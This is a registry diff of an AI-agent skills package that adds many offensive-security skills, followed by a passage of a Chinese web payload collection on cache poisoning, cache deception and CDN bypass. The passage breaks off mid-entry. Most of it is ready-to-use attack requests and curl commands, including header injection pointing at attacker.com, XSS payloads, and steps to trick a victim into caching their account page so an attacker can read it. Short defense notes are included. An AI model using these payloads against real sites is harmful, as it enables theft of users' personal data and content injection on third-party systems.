opencode-skills-collection 4.0.43 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +47 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  95. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  96. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  97. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  98. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  99. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  100. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  101. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  102. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  103. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  104. package/bundled-skills/muapi-media/SKILL.md +311 -0
  105. package/bundled-skills/ot-ics/SKILL.md +117 -0
  106. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  107. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  108. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  109. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  110. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  111. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  112. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  113. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  114. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  115. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  116. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  117. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  118. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  119. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  120. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  121. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  122. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  123. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  124. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  125. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  126. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  127. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  128. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  129. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  130. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  131. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  132. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  133. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  134. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  135. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  136. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  137. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  138. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  139. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  140. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  141. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  142. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  143. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  144. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  145. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  146. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  147. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  148. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  149. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
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  155. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
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  158. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
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  161. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
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  206. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  218. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  219. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  220. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  221. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  222. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  223. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  224. package/bundled-skills/radare2/SKILL.md +460 -0
  225. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  226. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  227. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  228. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  229. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  230. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  231. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  232. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  233. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  234. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  235. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  236. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  237. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  238. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  239. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  240. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  241. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  242. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  243. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  244. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  245. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  246. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
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  249. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  250. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  251. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  252. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  253. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  254. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  255. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  256. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  257. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  258. package/bundled-skills/thick-client/SKILL.md +104 -0
  259. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  260. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  261. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  262. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  263. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  264. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  265. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  266. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  267. package/bundled-skills/windows-ad/SKILL.md +109 -0
  268. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  269. package/package.json +1 -1
  270. package/skills_index.json +1214 -2
@@ -0,0 +1,497 @@
1
+ # 缓存与CDN安全
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+
3
+ _3 条 web payload_
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+
5
+ ### 缓存投毒 `cache-poisoning`
6
+ _Web缓存投毒攻击_
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+ 子类:**缓存投毒** · tags: `cache` `poisoning` `web-cache`
8
+
9
+ **前置条件:**
10
+ - 目标使用缓存
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+ - 缓存键配置不当
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+
13
+ **攻击链:**
14
+
15
+ **探测缓存**
16
+ > 探测缓存状态
17
+ ```
18
+ 响应头: X-Cache: hit/miss
19
+ ```
20
+ **语法解析:**
21
+ - `X-Cache` — 缓存状态头 _header_
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+
23
+ **未键入头**
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+ > 注入未键入头
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+ ```
26
+ X-Forwarded-Host: attacker.com
27
+ ```
28
+ **语法解析:**
29
+ - `X-Forwarded-Host` — 常被用作缓存键但未包含在键中 _header_
30
+
31
+ **缓存投毒**
32
+ > 投毒缓存
33
+ ```
34
+ GET /?q=test HTTP/1.1
35
+ Host: target.com
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+ X-Forwarded-Host: attacker.com
37
+ ```
38
+ **语法解析:**
39
+ - `attacker.com` — 恶意主机,将被缓存 _domain_
40
+
41
+ **Fat GET**
42
+ > Fat GET投毒
43
+ ```
44
+ GET / HTTP/1.1
45
+ Host: target.com
46
+ Content-Length: 10
47
+
48
+ q=poisoned
49
+ ```
50
+ **语法解析:**
51
+ - `Content-Length` — 包含请求体的GET请求 _header_
52
+
53
+ **WAF/EDR 绕过变体:**
54
+
55
+ **未键入头部(Unkeyed Headers)利用**
56
+ > 识别不包含在缓存键中但影响响应内容的HTTP头(如X-Forwarded-Host),通过重复发送携带恶意头的请求将投毒响应存入缓存
57
+ ```
58
+ # 常见未键入头:
59
+ X-Forwarded-Host: attacker.com
60
+ X-Forwarded-Scheme: http
61
+ X-Original-URL: /malicious
62
+ X-Forwarded-Prefix: /evil
63
+
64
+ # 发现未键入头:
65
+ # 使用Param Miner Burp扩展自动检测
66
+ # 手动对比: 添加头后响应是否变化但缓存键相同
67
+
68
+ # 投毒步骤:
69
+ # 1. 发送带恶意头的请求直到缓存命中
70
+ # 2. 验证其他用户访问同一URL时收到投毒响应
71
+ ```
72
+ **语法解析:**
73
+ - `# 常见未键入头:` — 主要命令 _command_
74
+ - `...` — 共11行 _value_
75
+
76
+ **参数伪装与HTTP/2专属头投毒**
77
+ > 利用UTM等追踪参数不被缓存键包含的特性注入恶意内容,或使用Fat GET请求体覆盖查询参数,HTTP/2独有伪头触发差异化处理
78
+ ```
79
+ # 参数伪装(Parameter Cloaking):
80
+ # UTM参数通常不在缓存键中:
81
+ /page?utm_content=<script>alert(1)</script>
82
+ /page?callback=alert(1)&utm_source=x
83
+
84
+ # Fat GET投毒:
85
+ GET /api/data HTTP/1.1
86
+ Content-Type: application/x-www-form-urlencoded
87
+ Content-Length: 15
88
+
89
+ q=<script>alert(1)</script>
90
+
91
+ # HTTP/2专属头:
92
+ :method: GET
93
+ :path: /
94
+ transfer-encoding: chunked
95
+ ```
96
+ **语法解析:**
97
+ - `# 参数伪装(Parameter Cloaking):
98
+ # UTM参数通常不在缓存键中:
99
+ /page?utm_content=` — 注入代码 _value_
100
+ - `<script>` — HTML标签/事件处理器 _tag_
101
+ - `alert(1)` — 注入代码 _value_
102
+ - `</script>` — HTML标签/事件处理器 _tag_
103
+ - `
104
+ /page?callback=alert(1)&utm_source=x
105
+
106
+ # Fat GET投毒:
107
+ GET /api/data HTTP/1.1
108
+ Content-Type: application/x-www-form-urlencoded
109
+ Content-Length: 15
110
+
111
+ q=` — 注入代码 _value_
112
+ - `<script>` — HTML标签/事件处理器 _tag_
113
+ - `alert(1)` — 注入代码 _value_
114
+ - `</script>` — HTML标签/事件处理器 _tag_
115
+ - `
116
+
117
+ # HTTP/2专属头:
118
+ :method: GET
119
+ :path: /
120
+ transfer-encoding: chunked` — 注入代码 _value_
121
+
122
+
123
+ **概述:** Web缓存投毒是利用缓存服务器的缓存键(Cache Key)与实际响应内容不一致的漏洞,通过在非缓存键的HTTP头或参数中注入恶意内容,使缓存服务器存储包含恶意payload的响应,后续访问相同URL的所有用户都将收到被投毒的响应
124
+
125
+ **漏洞原理:** 缓存投毒的根因在于缓存键通常只包含URL路径和少量参数,而Web应用可能会将非缓存键的HTTP头(如X-Forwarded-Host、X-Forwarded-Scheme)反射到响应中。当攻击者通过这些头注入恶意内容时,缓存服务器会将含有恶意内容的响应缓存并分发给所有用户
126
+
127
+ **利用方法:** 首先识别目标使用的缓存机制(通过Cache-Control、Age、X-Cache等响应头),然后使用Param Miner等工具探测可被反射到响应中的非缓存键HTTP头,构造包含恶意JavaScript的头值(如X-Forwarded-Host: evil.com),发送请求使缓存存储被投毒的响应,验证后续无恶意头的正常请求是否返回投毒内容
128
+
129
+ **防御措施:** 严格配置缓存键包含所有影响响应内容的参数和头部;对反射到响应中的HTTP头值进行严格的输入验证和编码;使用Vary头正确声明影响响应的HTTP头;配置缓存不缓存包含用户特定内容的响应;定期审计缓存配置和清除可疑缓存内容
130
+
131
+ ---
132
+
133
+ ### 缓存欺骗 `cache-deception`
134
+ _利用Web缓存和服务器路径解析的差异,诱导CDN/缓存层缓存包含敏感信息的动态页面_
135
+ 子类:**Deception** · tags: `cache` `deception` `auth`
136
+
137
+ **前置条件:**
138
+ - 目标使用CDN或反向代理缓存
139
+ - 路径解析存在差异(后端忽略路径后缀)
140
+ - 缓存策略基于URL扩展名
141
+
142
+ **攻击链:**
143
+
144
+ **探测缓存行为**
145
+ > 检测目标的缓存层和缓存策略配置
146
+ _platform: linux_
147
+ ```
148
+ # 检测是否存在缓存层:
149
+ curl -sI "http://target.com/" | grep -iE "x-cache|cf-cache|age:|via:|x-cdn|cache-control"
150
+
151
+ # 测试缓存策略(静态文件是否被缓存):
152
+ curl -sI "http://target.com/test.css" | grep -iE "x-cache|age"
153
+ curl -sI "http://target.com/test.js" | grep -iE "x-cache|age"
154
+ curl -sI "http://target.com/test.jpg" | grep -iE "x-cache|age"
155
+
156
+ # 对比动态页面:
157
+ curl -sI "http://target.com/account" | grep -iE "x-cache|age|cache-control"
158
+ ```
159
+ **语法解析:**
160
+ - `X-Cache` — 缓存命中状态头(HIT/MISS) _value_
161
+ - `Age:` — 响应在缓存中存储的时间(秒) _value_
162
+ - `Via:` — 显示中间代理/缓存服务器 _value_
163
+
164
+ **路径混淆缓存欺骗**
165
+ > 在动态页面URL后附加静态文件扩展名触发缓存
166
+ ```
167
+ # 核心技巧: 在动态页面URL后添加静态文件扩展名
168
+ # 后端将 /account/profile.css 解析为 /account (忽略不存在的路径)
169
+ # 缓存层看到 .css 扩展名,认为是静态资源并缓存
170
+
171
+ # 步骤1: 构造欺骗URL(以受害者身份访问)
172
+ curl -b "session=VICTIM_SESSION" "http://target.com/account/profile.css"
173
+
174
+ # 步骤2: 攻击者无需认证直接访问缓存内容
175
+ curl "http://target.com/account/profile.css"
176
+
177
+ # 多种路径变体:
178
+ curl "http://target.com/account/x.js"
179
+ curl "http://target.com/account/x.jpg"
180
+ curl "http://target.com/account/x.png"
181
+ curl "http://target.com/api/user/info/x.css"
182
+ curl "http://target.com/settings/x.svg"
183
+ ```
184
+ **语法解析:**
185
+ - `/account/profile.css` — 后端解析为/account但缓存层认为是CSS文件 _value_
186
+ - `.css/.js/.jpg` — 常见的缓存触发扩展名 _value_
187
+
188
+ **高级缓存欺骗变体**
189
+ > 利用路径分隔符、参数和规范化差异的高级缓存欺骗
190
+ ```
191
+ # 分隔符混淆(不同组件对路径分隔符理解不同):
192
+ curl "http://target.com/account;x.css"
193
+ curl "http://target.com/account%23x.css"
194
+ curl "http://target.com/account%3fx.css"
195
+
196
+ # 参数污染:
197
+ curl "http://target.com/account?cb=123.css"
198
+ curl "http://target.com/account/..%2fstatic/x.css"
199
+
200
+ # RPO (Relative Path Overwrite):
201
+ curl "http://target.com/account/..%2f..%2fstatic/style.css"
202
+
203
+ # Normalization差异:
204
+ curl "http://target.com/account/./x.css"
205
+ curl "http://target.com/account%2fx.css"
206
+ ```
207
+ **语法解析:**
208
+ - `;x.css` — 分号在某些框架中是路径参数分隔符 _value_
209
+ - `%23` — #的URL编码,不同组件处理不同 _value_
210
+ - `..%2f` — ../的URL编码,可能绕过缓存层的路径匹配 _value_
211
+
212
+ **完整攻击流程验证**
213
+ > 演示从诱导缓存到窃取数据的完整攻击链
214
+ ```
215
+ # 完整攻击演示:
216
+
217
+ # 1. 先确认动态页面包含敏感信息:
218
+ curl -b "session=VALID_SESSION" "http://target.com/account" | grep -i "email|phone|address|token"
219
+
220
+ # 2. 诱导受害者访问欺骗URL(通过钓鱼邮件/消息):
221
+ # 受害者点击: http://target.com/account/avatar.jpg
222
+ # 这会将其/account页面(含个人信息)缓存为"图片"
223
+
224
+ # 3. 攻击者访问同一URL获取缓存的敏感信息:
225
+ curl "http://target.com/account/avatar.jpg"
226
+ # 返回受害者的账户页面(包含邮箱、手机号、地址等)
227
+
228
+ # 4. 验证缓存命中:
229
+ curl -sI "http://target.com/account/avatar.jpg" | grep -i "x-cache"
230
+ # 期望看到: X-Cache: HIT
231
+ ```
232
+ **语法解析:**
233
+ - `X-Cache: HIT` — 确认响应来自缓存而非源站 _value_
234
+
235
+ **WAF/EDR 绕过变体:**
236
+
237
+ **路径分隔符混淆**
238
+ > 利用缓存服务器与源站对分号、换行、井号等分隔符解析不一致触发缓存
239
+ ```
240
+ # 利用缓存服务器对路径分隔符的差异解析
241
+ https://target.com/account/settings;.css
242
+ https://target.com/account/settings%0a.css
243
+ https://target.com/account/settings%23.css
244
+ https://target.com/account/settings%3f.css
245
+
246
+ # URL编码分隔符
247
+ https://target.com/account/settings%2f.css
248
+ https://target.com/account/settings%5c.css
249
+ ```
250
+ **语法解析:**
251
+ - `# 利用缓存服务器对路径分隔符的差异解析` — 主要命令 _command_
252
+ - `...` — 共8行 _value_
253
+
254
+ **RPO相对路径覆盖**
255
+ > 利用相对路径覆盖(RPO)使浏览器请求敏感页面但缓存服务器按静态资源缓存
256
+ ```
257
+ # Relative Path Overwrite
258
+ https://target.com/account/settings/..%2f..%2fstatic/style.css
259
+ https://target.com/account/settings/nonexistent.css
260
+
261
+ # 路径参数注入
262
+ https://target.com/account/settings;param=value/test.css
263
+ https://target.com/account/settings/test.js?_=1
264
+
265
+ # 不同缓存键操控
266
+ https://target.com/account/settings HTTP/1.1
267
+ X-Original-URL: /static/style.css
268
+ ```
269
+ **语法解析:**
270
+ - `# Relative Path Overwrite` — 主要命令 _command_
271
+ - `...` — 共9行 _value_
272
+
273
+ **缓存与源站规范化差异**
274
+ > 利用CDN/反向代理与源站对URL规范化处理的差异,使缓存误缓存敏感内容
275
+ ```
276
+ # Cloudflare/Varnish路径规范化差异
277
+ https://target.com/account/settings/.css
278
+ https://target.com/account/settings/test.avif
279
+ https://target.com/account/settings/x.woff2
280
+
281
+ # 双斜杠混淆
282
+ https://target.com//account//settings.css
283
+ https://target.com/account/settings%252f.css
284
+
285
+ # 利用Vary头缺失
286
+ curl -H "Accept: text/css" https://target.com/account/settings
287
+ ```
288
+ **语法解析:**
289
+ - `# Cloudflare/Varnish路径规范化差异` — 主要命令 _command_
290
+ - `...` — 共9行 _value_
291
+
292
+
293
+ **概述:** Web缓存欺骗(Web Cache Deception)利用CDN/缓存层与后端服务器对URL路径的解析差异。当后端将/account/x.css按/account处理(返回用户信息),而缓存层因.css扩展名将响应当作静态资源缓存时,攻击者可以诱导受害者访问该URL,然后直接获取缓存的敏感信息。
294
+
295
+ **漏洞原理:** 缓存层(CDN/Varnish/Nginx)和后端应用对同一URL路径的解析存在差异:1) 后端忽略URL中不存在的路径段 2) 缓存层根据扩展名决定缓存策略 3) 缓存策略未排除包含敏感数据的响应
296
+
297
+ **利用方法:** 利用流程:1) 探测缓存层和缓存策略 2) 找到包含敏感信息的动态页面 3) 构造带静态扩展名的欺骗URL 4) 诱导受害者访问该URL触发缓存 5) 攻击者无需认证访问缓存获取敏感数据
298
+
299
+ **防御措施:** 1) 敏感页面设置Cache-Control: no-store, private 2) 缓存层验证Content-Type与扩展名一致 3) 后端对不存在的路径返回404 4) 缓存key包含Cookie/Authorization 5) CDN配置只缓存明确的静态资源路径
300
+
301
+ ---
302
+
303
+ ### CDN绕过 `cdn-bypass`
304
+ _绕过CDN查找真实IP_
305
+ 子类:**CDN** · tags: `cdn` `bypass` `recon`
306
+
307
+ **前置条件:**
308
+ - 目标使用CDN
309
+
310
+ **攻击链:**
311
+
312
+ **历史DNS**
313
+ > 查找未使用CDN时的IP
314
+ ```
315
+ # DNS历史记录查询获取真实IP:
316
+ # 1. SecurityTrails(需要API Key):
317
+ curl -s "https://api.securitytrails.com/v1/history/target.com/dns/a" -H "APIKEY: YOUR_KEY" | jq '.records[].values[].ip'
318
+
319
+ # 2. ViewDNS:
320
+ curl -s "https://viewdns.info/iphistory/?domain=target.com"
321
+
322
+ # 3. DNS DB在线查询:
323
+ # https://dnsdb.io/
324
+ # https://securitytrails.com/
325
+ # https://completedns.com/
326
+
327
+ # 4. Censys搜索:
328
+ curl -s "https://search.censys.io/api/v2/hosts/search?q=target.com" -u "API_ID:API_SECRET"
329
+
330
+ # 5. 使用FOFA:
331
+ # domain="target.com" && type="A"
332
+
333
+ # 6. 多地Ping对比:
334
+ nslookup target.com 8.8.8.8
335
+ nslookup target.com 1.1.1.1
336
+ ```
337
+ **语法解析:**
338
+ - `DNS` — 域名解析记录 _concept_
339
+
340
+ **邮件头**
341
+ > 查看邮件源码中的Received头
342
